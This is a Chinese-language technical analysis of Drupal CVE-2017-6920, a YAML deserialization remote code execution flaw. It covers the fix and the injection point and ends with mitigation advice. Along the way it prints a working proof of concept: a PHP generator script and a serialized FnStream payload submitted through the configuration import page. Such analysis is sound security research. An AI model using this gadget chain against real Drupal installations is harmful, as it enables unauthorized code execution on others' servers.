0x00 漏洞介绍
2017年6月23日,Drupal的版本更新到了 8.3.4 。此版本的修复包括了3个安全漏洞,其中还包含了官方评级为 critical 的远程代码执行漏洞。
官方的介绍为:
PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920
PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.
详细的说就是, YAML 组件会对 YAML 格式的字符串进行反序列化操作,这个过程中,如果传入的值被攻击者控制,则会导致远程代码执行漏洞。
这个漏洞的利用条件是:
- 管理员权限
- php运行环境安装了yaml插件
0x01 漏洞分析
首先我们先看下官方修复了什么?
官方的修复很简单,就是在调用 yaml_parse 前,先初始化一个全局变量,此变量的作用是啥?我们慢慢往下看。
接下来,我们先看下 yaml_parse 的官方介绍。
官方说的很详细,就是把 YAML 格式的文档转换成 php 对象。
重点要来了,我们接着看此网页的下面。
带颜色的内容是个警告,非信任的内容输入到 yaml_parse 中非常危险,如果带着 !php/object 标签,则标签后的内容会调用 unserialize() 函数。也就是 yaml_parse === unserialize 。
有兴趣的同学可以手工实验下。
我这里贴一张反序列化的图。
那么确认了此接口能反序列化,接下来就是老思路了。
- 找可控点。
- 利用反序列化远程执行代码。
找可控点
可控点的寻找,这次比较简单,官方github的更新就有提到。
URL为: http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import
利用反序列化远程执行代码
如果对反序列化比较熟悉,应该有以下两个思路找代码执行。
- 找魔术方法
- 找执行流,进行变量覆盖
具体可以参考这个文章 vBulletin 5.0.x - 5.1.x RCE
本次利用选择是的找魔术方法。
一般情况下,首先应看这两个方法是否存在代码执行的点。
- __construct()
- __destruct()
在 GuzzleHttp\Psr7\FnStream 的 FnStream 找到可利用点。
这个类的析构函数会把 fn_close 作为函数执行,而 fn_close 我们可控。
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
我们在下面url的页面提交poc即可。
http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import
生成poc的php为:
<?php
require "c://wamp64//www//drupal-8.3.3//" . '/vendor/autoload.php';
$a = new \GuzzleHttp\Psr7\FnStream(array('close'=>'phpinfo'));
$s = serialize( $a );
$aa = yaml_emit($s);
print_r($aa);
?>
poc:
a: !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
最终的执行效果
0x02漏洞总结
Drupal的这个漏洞目前还存在能代码执行的点,但是由于利用不稳定,暂不公布。
这个漏洞提醒大家在调用yaml格式文档时候,也要进行参数检查,调用 yaml.decode_php 便可以防止yaml按照序列化对象进行解释。